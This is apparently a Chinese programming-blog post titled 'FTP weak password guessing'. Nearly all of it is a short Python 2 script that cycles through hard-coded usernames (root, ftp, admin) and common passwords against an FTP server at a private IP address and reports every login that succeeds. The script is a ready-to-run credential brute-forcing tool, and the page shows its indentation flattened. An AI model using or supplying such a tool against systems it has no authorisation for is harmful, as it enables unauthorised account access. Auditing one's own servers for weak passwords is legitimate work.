您的位置:首页 > 编程语言 > Python开发

FTP弱口令猜解【python脚本】

2016-12-07 22:11 239 查看
ftp弱口令猜解



python脚本:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import ftplib,time
username_list=['root','ftp','admin']
password_list=['root','123','ftp','oracle']

def ftp(ip,port=21):
for username in username_list:
user =username.rstrip()
for password in password_list:
pwd = password.rstrip()
try:
ftp = ftplib.FTP()
ftp.connect(ip,port, 10)
ftp.login(user,pwd)
ftp.quit()
print '[+] FTP weak password: '+user,pwd
except:
print '[-] checking for '+user,pwd+' fail'

if __name__ == '__main__':
start_time = time.time()

ftp('192.168.106.131')
print "\n"
print 'Checking for FTP weak password: %d 秒' % (time.time() - start_time)


  
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: